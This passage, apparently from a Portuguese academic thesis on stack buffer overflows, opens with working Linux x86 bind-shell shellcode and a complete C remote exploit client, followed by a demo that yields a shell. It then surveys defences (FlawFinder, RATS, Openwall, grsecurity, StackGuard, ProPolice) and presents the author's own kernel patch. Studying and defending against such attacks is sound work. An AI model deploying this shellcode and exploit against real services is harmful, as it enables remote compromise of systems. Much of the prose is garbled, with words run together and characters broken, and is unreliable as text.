"\x53" // pushl %ebx
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\x80\xc3\x03" // addb $0x3,%bl
"\xcd\x80" // int $0x80

/* cli = accept(fd, 0, 0) */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x50" // pushl %eax
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb3\x05" // movl $0x5,%bl
"\xb0\x66" // movl $0x66,%al
"\xcd\x80" // int $0x80

/* dup2(cli, 0) */
"\x89\xc3" // movl %eax,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 1) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movl $0x3f,%al
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"\xcd\x80" // int $0x80

/* dup2(cli, 2) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb" // xorl %ebx,%ebx
"\x53" // pushl %ebx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x8d\x54\x24\x08" // leal 0x8(%esp),%edx
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x53" // pushl %ebx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80

/* exit(%ebx) */
"\x31\xc0" // xorl %eax,%eax
"\xb0\x01" // movb $0x1,%al
"\xcd\x80"; // int $0x80
int main(int argc, char *argv[])
{

char buffer[262];
int i, n, sockfd, bytes, *ap;
struct sockaddr_in remoto;

if(argc != 3) {
printf("Uso correto: %s ip porta \n", argv[0]);

return(-1);
}
// ap aponta pro buffer
ap = (int *) (buffer + 200);
// preenche o buffer com nops
for(i = 0; i < sizeof(buffer); i++)
buffer[i] = NOP;

// colocando o enderec¸o de retorno
for(i = 200; i < sizeof(buffer); i += 4)

*ap++ = RET;
// coloca o shellcode a partir da posicao 30
for(i = 30, n = 0; n < strlen(shellcode); i++, n++)

buffer[i] = shellcode[n];
// cria o socket
if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {

perror("socket");
return(-1);
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}
// preenche os dados do host remoto
remoto.sin_family = AF_INET;
// converte o IP para a estrutura
if(inet_pton(AF_INET, argv[1], &remoto.sin_addr) <= 0) {

perror("inet_pton");
return(-1);

}
remoto.sin_port = htons(atoi(argv[2]));
// conecta no host remoto

if( connect(sockfd, (struct sockaddr *)&remoto, sizeof(remoto))
< 0) {

perror("connect");
close(sockfd);
return(-1);

}
// envia o buffer!
if( (bytes = send(sockfd, buffer, sizeof(buffer), 0)) < 0) {

perror("send");
close(sockfd);
return(-1);

}
printf("\nEnviado %d bytes\n", bytes);
close(sockfd);
return(0);

}

No exploit constrúıdo, enviamos262bytescomo buffer no mesmoformatodo explicado

na subsec¸ão 3.6.1. Ao corrompero stack frameda função processa()no serviço remoto,o

shellcodée executadoetemosumashellcomosprivil égiosdequemrodouaaplicaç̃ao naporta

30464,comovemosaseguir (terminaisindicadosentre[]):

[terminal 1]
$ ./remvuln1 1540
Aguardando conex ões na porta 1540
[terminal 2]
$ ./exprem1 127.0.0.1 1540
Enviado 262 bytes
[terminal 1]
Conexão de 127.0.0.1
send: Bad file descriptor
[terminal 2]
$ telnet 127.0.0.1 30464
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is ’]’.
id;
uid=1000(ceps) gid=1000(ceps) groups=1000(ceps)
: command not found
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Comodemonstraa sáıda, obtivemosumashell rodandona porta30464ao ter explorado

com sucessoa falhano programaremoto. Se tal programaestivessesendoexecutadocomo

root, teŕıamososprivil égiosdeleaoexploraravulnerabilidade.
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4 TÉCNICAS DE DEFESA CONTRA AS FALHAS DE ESTOURO DE BUFFER NA
PILHA

No caṕıtulo anterior, vimosquãoprejudicialumaaplicaç̃aovulneŕavel aumafalhadebuffer

overflowpodesetornar, seexploradapor umusúario mal-intencionado.

Por isso,diversaslinhasde defesatem surgido com o objetivo de impedir a invas̃ao e/ou

elevaç̃ao deprivil égiosatravés da exploraç̃ao dessasfalhas. Entre as mais utilizadas,são:

Proteç̃ao atravésde código seguro, Proteç̃ao atravésda elevação desegurança no sistema

operacionale Proteç̃ao atravésda modificação decódigo em tempo de compilação, como

veremosnasseç̃oesaseguir.

4.1 PROTEÇÃO ATRAVÉSDE CÓDIGOSEGURO

Comofoi vistonaseç̃ao3.3,paraquehajaumafalhadeestourodebuffer, é necesśarioque

hajaapossibilidadedesealterardadosadjacentesatal buffer, poissenãohácomocorromp̂e-lo,

nãoexisteapossibilidadedealteraro fluxo deexecuç̃aodoprograma.

Diversosmateriaistêm sido publicadoscom o objetivo de informar os programadoresde

formassegurasde programac¸ão, entreeles(WHEELER, 2003),(HOWARD; LEBLANC, 2002)

e (VIEGA; MESSIER, 2003). Basicamente,todasrecomendamquetodaa entradadedadosdo

programasejaverificadae asseguradade ser leǵıtima, e o tratamentointerno ser o maisse-

guroposśıvel. Paracontribuir como processodedesenvolvimento,diversasferramentasforam

constrúıdas,entreelas:FlawFinder eRATS, queveremosaseguir.

4.1.1 FLAWFINDER

FlawFinder éumaferramentadesenvolvidaporDavidWheeler, autorde(WHEELER, 2003),

equepossuio objetivo deexaminaro código-fontedeumaaplicaç̃ao,ereportarposśıveisfalhas

desegurança,organizadaspor ńıvel derisco(WHEELER, 2001).

O seuesquemade funcionamentóe simples:ele possuiumabasede dados com funções
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daslinguagensC e C++, funçõesquesãoconhecidaspor ter problemascŕıticosdesegurança,

comostrcpy(),strcat(), gets(),sprintf(). Ela nãoseaplicaapenasa funçõesquelevema riscos

de buffer overflow, mastamb́em outrosproblemascomo: format string bugs, raceconditions

(condiç̃oesdedisputa)egeraç̃aopobredenúmerosrand̂omicos.

A execuç̃ao do FlawFinder em cima do código vulneŕavel vuln1 da subsec¸ão 3.4.1,pode

servistoabaixo:

$ flawfinder vuln1.c
Flawfinder version 1.24, (C) 2001-2003 David A. Wheeler.
Number of dangerous functions in C/C++ ruleset: 128
Examining vuln1.c
vuln1.c:14: [4] (buffer) strcpy:

Does not check for buffer overflows when copying to destination.
Consider using strncpy or strlcpy (warning, strncpy is easily misused).

vuln1.c:12: [2] (buffer) char:
Statically-sized arrays can be overflowed. Perform bounds checking,
use functions that limit length, or ensure that the size is larger than
the maximum possible length.

Number of hits = 2
Number of Lines Analyzed = 24 in 0.54 seconds (581 lines/second)
Not every hit is necessarily a security vulnerability.
There may be other security vulnerabilities; review your code!

Comopodemosver, o FlawFinder nosindicouondeest̃aoasposśıveisfunçõesquepodem

levarafalhasdebuffer overflow. A sáıdadoFlawFinder ésimples:eleindicaa linhaemquehá

algoderisco,emseguida,o ńıvel deriscoentrecolchetes([]). Os ńıveisderiscovariamde1

(poucorisco)a5 (altorisco).Elenãosepreocupaapenascomfunções,comopodemosver, pois

nosinformou quea utilização dearraysest́aticosé perigosa,já queelespodemserestourados,

eportantodevemosnosassegurardefazerverificaç̃ao delimites aoutilizá-los.

4.1.2 RATS

A ferramentaRATS(RoughAuditing Tool for Security), desenvolvida pelaempresaSecure

Software, realizabasicamentea mesmacoisaqueo FlawFinder, porém,o RATSpodeseruti-

lizadoemlinguagenscomoPerl, PHP e Python, embuscadecondiç̃oesdeestourodebuffer e

tamb́emdecondiç̃oesdedisputa(raceconditions) (SOFTWARE, 2001).

A execuç̃aodoRATSemcimadoprogramavuln1dasubsec¸ão3.4.1podeservistoabaixo:

$ rats vuln1.c
Entries in perl database: 33
Entries in python database: 62
Entries in c database: 334
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Entries in php database: 55
Analyzing vuln1.c
vuln1.c:13: High: fixed size local buffer
Extra care should be taken to ensure that character arrays that are allocated
on the stack are used safely. They are prime targets for buffer overflow
attacks.

vuln1.c:14: High: strcpy
Check to be sure that argument 2 passed to this function call will not copy
more data than can be handled, resulting in a buffer overflow.

Total lines analyzed: 24
Total time 0.001042 seconds
23032 lines per second

Como podemosver, a ferramentaRATS nos informou tamb́em ondeest̃ao as principais

falhasnonossocódigo-fonte.

4.2 PROTEÇÃO ATRAVÉS DA ELEVAÇÃO DE SEGURANÇA NO SISTEMA OPERA-
CIONAL

A maioriadeataquescontrafalhasdeestourodebuffer napilhaprecisamdeumapilhaonde

dadospossamserexecutados;o enderec¸o de retornode umafunção é alteradode forma que

aponteparaum códigoarbitrário, geralmentearmazenadono próprio buffer quefoi estourado.

Tornandoa pilha não-execut́avel, podeserposśıvel parara grandemaioriade exploits contra

falhasdeestourodebuffer napilhaepodefazercomquea exploraç̃aodessasvulnerabilidadesse

tornemaisdifı́cil. Nassubsec¸õesa seguir, olharemosespecificamenteparaa parteresponśavel

por tornara pilha não-execut́avel, pois asdemaismodificaç̃oesaplicadaspelospatchesest̃ao

fora doescopodesteprojeto.

4.2.1 OPENWALL KERNELPATCH

O patch parao kernel Linux desenvolvido por Solar Designer, baseia-sebasicamenteem

alteraro limite dosegmentodecódigo,armazenadonaGDT(GlobalDescriptorTable), definido

emarch/i386/head.S:

+#ifdef CONFIG_HARDEN_STACK
+ .quad 0x00cbfa000000f7ff /* 0x23 user 3GB-8MB code at 0 */
+#else

.quad 0x00cffa000000ffff /* 0x23 user 4GB code at 0x00000000 */
+#endif

Osnúmerosacima,sãodefinidosdestaforma(BOVET; CESATI, 2003):
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Tabela6: Diferençasnodescritordesegmentodecódigo

Campo Valor padrão Valor do patch
Base 0x00000000 0x00000000
Limite 0xfffff 0xbf7ff

Figura 24: DescritordeSegmento

Nafiguraanterior, o quenosinteressasãooscampos:

• base:cont́emo enderec¸o lineardoprimeirobytedosegmento;

• flag G: sefor igual a 0, o tamanhodo segmentoé expressadoembytes, casocontŕario, é

expressadoemmúltiplosde4096.

• campolimit (limite): defineo tamanhodosegmento.

As diferençasentreo valor padr̃aodokerneleo valor modificadopelopatch, são:

O valor padr̃ao,est́a configuradodeformaqueo enderec¸o baseseja0x00000000comum

limite de0xfffff, o quenosdáespac¸o de4GB(poiso flag gest́asetado).Jánopatch, o tamanho

limite do novosegmentode código seŕa 0xbf7ff, o qual é igual a 3GB - 1 - 8MB. Como já

mencionado,a pilha no Linux inicia em 0xbfffffff (3GB-1), e o tamanhomáximo da pilha é

definidoem include/linux/sched.h:

/*
* Limit the stack by to some sane default: root can always
* increase this limit if needed.. 8MB seems reasonable.
*/

#define _STK_LIM (8*1024*1024)

Comoapilhacresceparabaixo,limitandoo espac¸o dosegmentodecódigopara0xbf7ff faz

comqueo processadorgereumaexceç̃aoquandotentarexecutarcódigonapilha (pois,CS:EIP

ficará fora doespac¸o deenderec¸amento).

Poŕem,tornara pilha totalmentenão-execut́avel temseusproblemas:o kernelprecisaex-

ecutardadosna pilha parapodertratar sinaisenviadosparao processo,e o uso de funções
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aninhadas(uma função definidadentroda outra) tamb́em precisade uma pilha execut́avel.

Paranãoquebraro suportecomasaplicaç̃oesqueseutilizam dessasfuncionalidades,o patch

Openwalltrataessescasosespećıficos. Quando o processadortentaexecutarum código que

est́a fora do espac¸o de enderec¸amento(porquefoi diminúıdo pelo patch), uma exceç̃ao de

proteç̃ao geral é disparada,sendotratadapela função do general protection(), definida em

arch/i386/kernel/traps.c, e é ali queo patch Openwallrealizamodificaç̃oesparatratar esses

casos.

Paraaplicaro patch Openwallno kernel, bastaseguir osseguintespassos,tendobaixadoo

kerneldehttp://www.kernel.org, eo patch dehttp://www.openwall.com/linux:

# pwd
/usr/src
# ls
linux-2.4.24-ow1.tar.gz linux-2.4.24.tar.bz2
# tar -zxf linux-2.4.24-ow1.tar.gz
# tar -jxf linux-2.4.24.tar.bz2
# cp linux/2.4.24-ow1/linux-2.4.24-ow1.diff .
# patch -p0 < linux-2.4.24-ow1.diff
patching file linux-2.4.24/Documentation/Configure.help
...
patching file linux-2.4.24/security/Config.in

A sáıdado programateve deserreduzidapor restriç̃oesdeespac¸o. Apóster modificadoo

kernel, bastaseguir ospassospadr̃oesparaa recompilac¸ãodo mesmo,porém,umanova opç̃ao

seŕamostradanomenuprincipal,chamadaSecurityOptions, comodemonstraafiguraabaixo:

Figura 25: Menuderecompilac¸ãodokernelmodificadopeloOpenwall
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Ao entrarnaopç̃aoSecurityOptions, temosaseguintetela:

Figura 26: SecurityOptionsdoOpenwall

A descriç̃aodessasopç̃oesé aseguinte:

• Non-executableuserstack area: ativa amodificaç̃aoquetornaapilhanão-execut́avel;

• AutodetectandemulateGCCtrampolines: ativao suportea funçõesaninhadas;

• Restrictedlinksin /tmp: nãopermitequeusúarioscriemlinksparaarquivosquenãosejam

donos,nodiretório /tmp;

• RestrictedFIFOs in /tmp: nãopermitequeusúariosescrevam emFIFOs quenãosejam

donos,nodiretório /tmp;

• Restricted/proc: modifica as permiss̃oesdo diretório /proc de forma que os usúarios

vejamapenasosprocessosqueelesexecutaram;

• Enforce RLIMIT NPROC on execve(2): força averificaç̃ao daquantidadede processos

emchamadasexecve(2);

• Destroy shared memorysegmentsnot in use: destŕoi segmentosde meḿoria compartil-

hadaquenãoest̃aosendoutilizados.

Paracomprovarafuncionalidadedopatch, executaremoso exploit exp1constrúıdonasubsec¸ão

3.6.1:



82

$ uname -a
Linux projeto 2.4.24-ow1 #2 Thu Jan 29 16:28:48 BRST 2004 i686 unknown
$ ./exp1
ret: 0xbffffe40
Usuario ãQŚa◦

ÿ>Oa cadastrado!
Segmentation fault

Ao executarmoso nossoexploit, podeŕıamosteracreditadoqueerramoso offseteacessado

umaáreademeḿoria inválida.Poŕemseanalisarmosos logsdoservidor, veremoso seguinte:

Security: return onto stack from 0x0804845e to 0xbffffe40 running as
UID 1000, EUID 0, process vuln1:195

Ou seja,o patch detectouquetentamosexecutarum código na pilha e seencarregou de

terminaro processo.

4.2.2 GRSECURITYKERNELPATCH

Outramaneiradetornarpartesdameḿoria não-execut́avel é atravésdapaginac¸ão. Muitas

arquiteturastem suportenativo à marcac¸ão depáginascomo não-execut́aveis e geramuma

exceç̃ao quandoum programatentaexecutarcódigo em tal página. A arquiteturaIA32 não

possuisuportea isso,ent̃aoessamarcac¸ão depáginascomonão-execut́aveisdeve seremulada

via software, e é comoo PaX (parteprincipaldogrsecurity) faz(PAX , 2003).

Paraimplementarpáginasnão-execut́aveis,oPaXalteraosentidodocampousúario/superusúario

de uma página. Para páginasnão-execut́aveis, ele colocaŕa o privil égio da páginaparasu-

perusúario, significandoque quandoum programaem execuç̃ao no espac¸o de usúario tentar

acessaressapágina,seŕageradaumaexceç̃ao.

Al ém disso,ele alterao controlede exceç̃oesde páginasdo kernel padr̃ao parafunções

próprias,comsuasverificaç̃oesparaidentificarseo processadortentouexecutarumainstruç̃ao

ou sefoi um acessoa dados.No casodeumainstruç̃ao,elepodedeterminaro programa,e no

casode acessoa dadosele podemodificaro privil égio da páginae carregar aqueleenderec¸o

no DTLB1 (data translatelookasidebuffer). Após isso,ele restaurao estadoda páginapara

o estadoantigo,pois sehouver umatentativa de execuç̃ao decódigo, umaentradano ITLB

(instructiontranslatelookasidebuffer) seŕaprocurada.Se ñaohouverumaentrada,seŕagerada

outraexceç̃ao.

1O TLB (translationlookasidebuffer) foi dividido emDTLBe ITLB apartir doprocessadorPentium. Semessa
separac¸ão,estepatch nãoseriaposśıvel.
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O PaX apresentatamb́em os mesmosproblemasque o patch Openwall, em relaç̃ao à

funçõesaninhadase tratamentode sinais,e tamb́em possui funçõesprópriasparamantera

compatibilidadecomprogramasexistentes.

As caracteŕısticasdo grsecurityser̃ao descritasa seguir, juntamentecom seuspassosde

instalaç̃ao. Após ter baixadoo patch de www.grsecurity.net, e ter o código fonte do kernel,

bastarealizaras seguintesoperac¸ões:

# pwd
/usr/src
# ls
grsecurity-1.9.13-2.4.24.patch linux-2.4.24.tar.bz2
# tar -jxf linux-2.4.24.tar.bz2
# patch -p0 < grsecurity-1.9.13-2.4.24.patch
patching file linux-2.4.24/Documentation/Configure.help
patching file linux-2.4.24/Makefile
...
patching file linux-2.4.24/net/sunrpc/xprt.c
patching file linux-2.4.24/net/unix/af_unix.c

Feito isso,bastaseguir ospassostı́picosparaa recompilac¸ãodo kernel, porém,umanova

opç̃aoapareceŕanomenudeconfigurac¸ãodokernel, chamadaGrsecurity:

Figura 27: Menuderecompilac¸ãodokernelmodificadopeloGrsecurity

Dentrodessemenu,podemosativar o suportea grsecuritye escolherum ńıvel de segurança,

comomostraafiguraaseguir:
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Figura 28: MenudoGrsecurity

Existem4 tipos de ńıveis de segurança, porém,vamosselecionaro tipo Customized, quenos

permiteescolherentreasopç̃oesdeconfigurac¸ão:

Figura 29: Nı́veisdoGrsecurity

TendoescolhidoCustomized, é posśıvel ver asopç̃oesprincipaisdo grsecurity, sendode-

scritaslogoadiante:
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Figura 30: Opç̃oesprincipaisdoGrsecurity

• AddressSpaceProtection: proteç̃aonoespac¸o deenderec¸amento;

• ACL options: opç̃oesdeACL (accesscontrol list);

• Filesystemprotections: proteç̃oesnosistemadearquivos;

• KernelAuditing: auditorianokernel;

• ExecutableProtection: proteç̃aoemexecut́aveis;

• NetworkProtection: proteç̃ao narede;

• Sysctlsupport: suporteasysctl;

• Loggingoptions: opç̃ao delogging.

Olharemosespecificamentea partede AddressSpaceProtection, pois é ondeé ativadaa

proteç̃aocontraataquesdeestourodebuffer:
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Figura 31: AddressSpaceProtectiondoGrsecurity

As opç̃oesdessemenusão:

• Enforcenon-executablepages: ativao suporteapáginasnão-execut́aveis;

• Pagingbasednon-executablepages: ativao suporteapáginasnão-execut́aveisatravésda

paginac¸ão,o quepossuiumoverheadnaarquiteturaIA32;

• Segmentationbasednon-executablepages: ativa o suportea páginasnão-execut́aveis

atravésda segmentac¸ão (semelhanteao queo patch Openwallfaz, limitando o espac¸o

dosegmentodecódigo);

• Emulatetrampolines: permitea execuç̃ao decódigosaninhados;

• Restrictmprotect(): impedequeprogramasmudemo statusdaspáginasdemeḿoria;

• DisallowELF .text relocations: nãopermitea relocaç̃ao deseç̃oes.text debináriosELF;

• AddressSpaceLayoutRandomization: umadascaracteŕısticasmaisimportantesdoPaX/grsecurity

é o ASLR. Ela fazcomqueo kernelutilize umacertarandomizac¸ãoparapartesdo pro-

gramaqueforamcarregadosemmeḿoria, impedindoquegrandepartedosexploits fun-

cionem,já queo enderec¸o emmeḿoria terá deseradivinhado;

• Randomizeuserstack base: ativa arandomizac¸ãodoenderec¸o dapilhadecadatarefa;
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• Randomizemmap()base: ativa arandomizac¸ãodoenderec¸oondeasbibliotecasdinâmicas

ser̃aocarregadas;

• RandomizeET EXECbase: ativa a randomizac¸ão do enderec¸o basede um execut́avel

ELF do tipo ET EXEC;

• Denywriting to /dev/kmem,/dev/meme /dev/port: nãopermitequesejamrealizadases-

critasdiretasnameḿoria ouportas;

• DisableprivilegedI/O: desativaoperac¸õesdeI/O privilegiadas;

• Removeaddressesfrom/proc/pid/[maps—stat]: desativa informaç̃oessobreosenderec¸os

demapeamento;

• Hidekernelsymbols: escondeinformaç̃oesdeśımbolosdokernel.

Paracomprovarafuncionalidadedo ńıveldesegurançaadicionado,principalmenteproteç̃ao

contraexecuç̃ao dedadosnapilha, tentaremosexecutaro exploit exp1dasubsec¸ão3.6.1:

$ uname -a
Linux projeto 2.4.24-grsec #3 Thu Jan 29 16:23:15 BRST 2004 i686 unknown
$ ./exp1
ret: 0xbffffe40
Usuario ãQŚa◦

>h9)]OQ õ/ cadastrado!
Segmentation fault

Da mesmaforma queno patch Openwall, o processoquetentariaexecutarum códigoar-

bitrário foi terminado.Analisandoos logs, temos:

grsec: From 200.201.61.55: signal 11 sent to (vuln1:29015) UID(1000)
EUID(0), parent (bash:7164) UID(1000) EUID(1000)

Comopodemosver, foi enviadoumsinalparao processo(signal11,SIGSEGV), quefinal-

izaa execuç̃aodomesmo.

4.3 PROTEÇÃO ATRAVÉSDA MODIFICAÇÃO DECÓDIGOEM TEMPODECOMPILAÇÃO

A idéianestetipo dedefesa, é modificaro códigoemtempodecompilaç̃ao,deformaque

sejaagregadoaelecertasverificaç̃oesquepermitamadetecc¸ão daalteraç̃aodoscampossalvos

no stack frame(registrodeativaç̃ao). Entreasmaisutilizadasest̃aoo StackGuard e ProPolice,

comoveremosadiante.
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4.3.1 STACKGUARD

O StackGuard tentadetectareparar(terminandoa execuç̃aodoprograma)umusúariomal-

intencionadoquetentaexplorarumafalhadebuffer overflownapilha,como objetivo dealterar

o endereço deretorno salvo (COWAN etal., 1998).

Elevemnaformadeumpatch parao compiladorgccquebasicamentemodificaosregistros

deativaç̃ao deumafunção,paraajudarnadetecc¸ão daalteraç̃aodoenderec¸o deretornodeuma

função. Para conseguir isso, o StackGuard insereuma palavra especialchamada”canary”2

(cańario) próximo ao endereço de retorno no prólogo da função,assumindoque quandoum

buffer éestourado napilha,eo endereço deretorno éestourado,eletamb́emdevesobrescrever

o ”canário”. No eṕılogo da função é verificadoseo ”canário” foi modificado.Seelenão foi,

ent̃ao o StackGuard assumequeo endereço de retorno não foi modificadoe a execuç̃ao do

programapodecontinuar, casocontŕario,o programáe terminado.

OStackGuard suportadoistiposde cańarios:rand̂omicoeterminador. Ocańariorand̂omico

é geradono inı́cio do programade forma queum usúario mal-intencionadonão tenhacomo

sabero queo cańario é,eportantonãopodesubstitúı-lo quandotentarestourarumbuffer. Cada

vezqueumafunçãoé chamada,o próximovalor databelade cańariosinternadoStackGuard é

utilizado.

O cańario do tipo terminadortrabalhaem cima de umaidéia diferente,assumindoquea

maioriadasoperac¸õescomstringssãoterminadaspor NULL, CR,LF, -1, o StackGuard coloca

umcańarionapilhaquecontemosquatrotiposdeterminadorescitados,assumindoquenocaso

deum estourodebuffer, sobrescrever oscamposdo registro deativação nãoseŕa posśıvel, ou

seo atacantetentarsimularestecańario,elenãoterá comocontinuaro transbordodo buffer, já

queosterminadoresterminar̃aosuasoperac¸õescomstring.

É importantefrisar queessetipo deproteç̃aoapenasparaataquesdo tipo stack smashing,

não todosos ataquescontrao enderec¸o de retorno. Um atacanteaindapodecorromperum

ponteiro,fazendoeleapontarpro enderec¸o deretornoeent̃aoescrever ali umnovoenderec¸o.

2Recebeuessenome depois que cańarios foram utilizados por mineradorespara detectara presenc¸a de
mońoxidodecarṽao,já queasaveseramsenśıveisaessegás
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Figura 32: Formatodostack frameprotegidopeloStackGuard

4.3.2 PROPOLICE

O ProPolice é baseadono mesmoprinćıpio do StackGuard, apresentadonasubsec¸ãoante-

rior, pois tamb́emutiliza ”canários” paraprotegero enderec¸o deretornodesersobrescritopor

buffers quesãoestourados(IBM , 2001).

O ProPolice, no entanto,colocao cańario antesdo framepointer (baseda pilha salvo)

paraprevenir um usúario mal-intencionadodesobrescrever o framepointer. Ele tamb́emtenta

prevenir ataquescontraponteirosparafunção. Ele possuias seguintesdiferençascomrelaç̃ao

aoStackGuard:

• reordenaaposiç̃ao devariáveislocaisdeformaquebufferssejamposicionadospróximos

aoguard value;

• nãomodificao códigodoprograma,diminuindoo overhead;

Figura 33: Formatodostack frameprotegidopeloProPolice

Como mostraa Figura 33, as variáveis que podemser estouradaschar, são colocadas

próximasao cańario (guard value) e quandohouver algum estourodessesbuffers, e invadir

o guard value, o programáe terminado.
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5 PROPOSTA DE SOLUÇÃO

Como foi visto no caṕıtulo 3, parase executarum código arbitrário, o atacanteprecisa

”injetá-lo” no espac¸o deenderec¸amentodo programavı́tima. O shellcodepossuiinstruç̃oesde

máquinaválidas,queacabamexecutandoumachamadadesistema(syscall) paraqueo kernel

processeasuarequisiç̃ao(geralmentesysexecve()).

Poŕem,essasinstruç̃oes,emprogramasválidos,est̃aoarmazenadosnaseç̃ao.text dobinário

que est́a sendoexecutado,e portanto,não deveriam poderser executadasfora dessaseç̃ao,

comopor exemplo,napilha. É ondea nossapropostadesoluç̃aoseencaixa:evitar quesejam

executadassyscallsnoespac¸o dapilha,heapoubss.

5.1 CÓDIGOFONTE

Basicamente,tiveramqueseralterados4 arquivos:

• Makefile: alteraç̃ao do ”nome” do kernel, indicandoquefoi feita umamodificaç̃ao em

relaç̃ao aokernelpadr̃ao;

• arch/i386/config.in: inclus̃ao deumanova entradano menude configurac¸ão do kernel,

permitindoquesejaativadaautilização damodificaç̃aoconstrúıda;

• arch/i386/kernel/entry.S: inclúıdo um desvioquandoumasyscallé executada,fazendo

comqueexecutea função deverificaç̃aoconstrúıda;

• arch/i386/kernel/process.c: inclúıda a função quedeterminasea execuç̃ao dasyscallé

permitidaou ñao.

O patch (modificaç̃ao)parao kernel2.4.24segueabaixo,no formatodesáıdado utilit ário

diff, que permiteque o patch sejaaplicadode forma relativamentesimplesno código fonte

original do kernel.

diff -urN linux-2.4.24/Makefile linux-2.4.24-noexec/Makefile
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--- linux-2.4.24/Makefile Thu Jan 29 15:42:31 2004
+++ linux-2.4.24-noexec/Makefile Fri Jan 30 02:05:02 2004
@@ -1,7 +1,7 @@

VERSION = 2
PATCHLEVEL= 4
SUBLEVEL = 24

-EXTRAVERSION =
+EXTRAVERSION= -noexec

KERNELRELEASE=$(VERSION).$(PATCHLEVEL).$(SUBLEVEL)$(EXTRAVERSION)

diff -urN linux-2.4.24/arch/i386/config.in linux-2.4.24-noexec/arch/
i386/config.in
--- linux-2.4.24/arch/i386/config.in Thu Jan 29 15:45:45 2004
+++ linux-2.4.24-noexec/arch/i386/config.in Fri Jan 30 02:15:41
2004
@@-454,6 +454,15 @@

endmenu
fi

++
+mainmenu_option next_comment
+comment ’Noexec stack patch’
+
+bool ’N ão permitir a execuç ão de syscalls na pilha, heap ou bss’
CONFIG_NOEXEC
+
+endmenu
+
+

mainmenu_option next_comment
comment ’Sound’

diff -urN linux-2.4.24/arch/i386/kernel/entry.S linux-2.4.24-noexec/
arch/i386/kernel/entry.S
--- linux-2.4.24/arch/i386/kernel/entry.S Thu Jan 29 15:45:54
2004
+++ linux-2.4.24-noexec/arch/i386/kernel/entry.S Fri Jan 30
02:07:42 2004
@@-203,6 +203,10 @@

pushl %eax # save orig_eax
SAVE_ALL
GET_CURRENT(%ebx)

+#ifdef CONFIG_NOEXEC
+ call SYMBOL_NAME(noexec_func)
+ movl ORIG_EAX(%esp),%eax
+#endif

testb $0x02,tsk_ptrace(%ebx) # PT_TRACESYS
jne tracesys
cmpl $(NR_syscalls),%eax

diff -urN linux-2.4.24/arch/i386/kernel/process.c linux-2.4.24-noexec
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/arch/i386/kernel/process.c
--- linux-2.4.24/arch/i386/kernel/process.c Thu Jan 29 15:45:52
2004
+++ linux-2.4.24-noexec/arch/i386/kernel/process.c Fri Jan 30
11:40:28 2004
@@-835,3 +835,30 @@

}
#undef last_sched
#undef first_sched

+
+#ifdef CONFIG_NOEXEC
+asmlinkage void noexec_func(struct pt_regs regs)
+{
+ struct mm_struct *mm = current->mm;
+
+ if (mm) {
+ struct vm_area_struct *vma;
+ down_read(&mm->mmap_sem);
+ vma = find_vma(mm, regs.eip);
+ if (!vma || vma->vm_start > regs.eip) {
+ up_read(&mm->mmap_sem);
+ return;
+ }
+
+ if (!vma->vm_file || !(vma->vm_flags & VM_EXEC) ||
vma->vm_flags & VM_WRITE) {
+ printk(KERN_ALERT "Tentativa de execuç ão de
código (arbitr ário) em: %s, PID: %d, eip: %08lx\n", current->comm,
current->pid, regs.eip);
+ up_read(&mm->mmap_sem);
+ do_exit(SIGKILL);
+ }
+ up_read(&mm->mmap_sem);
+ }
+ return;
+}
+#endif
+
+

De possedo contéudo acimaem um arquivo chamadolinux-2.4.24-noexec.patch, e com

a vers̃ao do kernel padr̃ao dehttp://www.kernel.org, tendodescompactadoo arquivo fonte do

kernelem/usr/src, podemosaplicaro patch daseguinteforma:

# pwd
/usr/src
# ls
linux-2.4.24-noexec.patch linux-2.4.24.tar.bz2
# tar -jxf linux-2.4.24.tar.bz2
# ls
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linux-2.4.24 linux-2.4.24-noexec.patch linux-2.4.24.tar.bz2
# patch -p0 < linux-2.4.24-noexec.patch
patching file linux-2.4.24/Makefile
patching file linux-2.4.24/arch/i386/config.in
patching file linux-2.4.24/arch/i386/kernel/entry.S
patching file linux-2.4.24/arch/i386/kernel/process.c

Apósisso,é só seguir ospassospadr̃oespararecompilaro kernel. Quandofor executadoo

make menuconfig, apareceŕa umanova opç̃ao,chamada”Noexecstack patch” . Bastamarcara

opç̃aointernanomenuparaqueaproteç̃aosejaativada,comomostramasfigurasabaixo:

Figura 34: Inclus̃aonomenuprincipal

Figura 35: Opç̃aoqueativa aproteç̃ao
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5.2 TESTES

O objetivo dostestes,foi garantirquea soluç̃aodesenvolvida nãoentrariaemconflito com

aplicaç̃oesdeusoemservidores,comoApacheservindopáginasPHP. Al émdisso,a proteç̃ao

deveriaobviamenteinterceptartentativasdeexecuç̃ao deshellcodesnapilha. Foi posśıvel servir

páginassemter umoverheadquepoderiater sidocausadopelainclus̃aodopatch.

Figura 36: ApacheservindopáginasPHP

Agora,analisandotentaremosexecutaro programaexp1quefoi constrúıdonasubsec¸ão3.6.1:

$ uname -a
Linux projeto 2.4.24-noexec #4 Fri Jan 30 11:40:35 BRST 2004 i686 unknown
$ ./exp1
ret: 0xbffffe40
Usuario ãQŚa◦

cadastrado!
Killed

Podemosver queo processofoi mortoe geradoum log automaticamentepelopatch, indi-

candoo nomedoprocesso,PID (processID) eo valor doeipno instanteemqueo processofoi

terminado:

Tentativa de execuç ão de c ódigo (arbitr ário) em: vuln1, PID: 199, eip:
bffffe65
